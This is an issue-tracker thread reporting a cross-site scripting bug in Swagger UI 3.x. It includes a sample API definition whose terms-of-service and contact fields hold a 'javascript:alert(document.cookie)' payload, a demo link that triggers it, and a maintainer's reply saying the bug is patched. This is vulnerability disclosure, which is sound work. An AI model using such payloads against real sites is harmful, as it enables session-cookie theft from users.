XSS Vulnerability with Swagger UI v3

[dexwiz]

Q	A
Bug or feature request?	Bug
Which Swagger/OpenAPI version?	2
Which Swagger-UI version?	3.x
How did you install Swagger-UI?	Vendered Distrobution
Which browser & version?	Chrome, Safari
Which operating system?	-

Demonstration API definition

Javascript can be injected into the Terms of Service link at the top of the page using javascript in the termsOfServiceField.

swagger: "2.0",
info: 
  title: "Swagger Sample App",
  description: "Please to click Terms of service"
  termsOfService: "javascript:alert(document.cookie)"
  contact: 
    name: "API Support",
    url: "javascript:alert(document.cookie)",
    email: "javascript:alert(document.cookie)"
  version: "1.0.1"

Example

This vulnerability can be tested on the example petstore site. Upon loading, clicking the Terms of Service link will execute the malicious script.

http://petstore.swagger.io/?url=https://gist.githubusercontent.com/dileepdasari/7120f06a4bcfd56d6d7572a6dc1c6309/raw/7a5f5d548a3e68afc5122c51bcf9d33a47830819/xsstest.json

[shockey]

I just patched this, and will release a new version shortly.

Thanks for the report, @dexwiz! In the future, please direct security issues to [email protected] instead of our issue tracker, as noted in the README 😄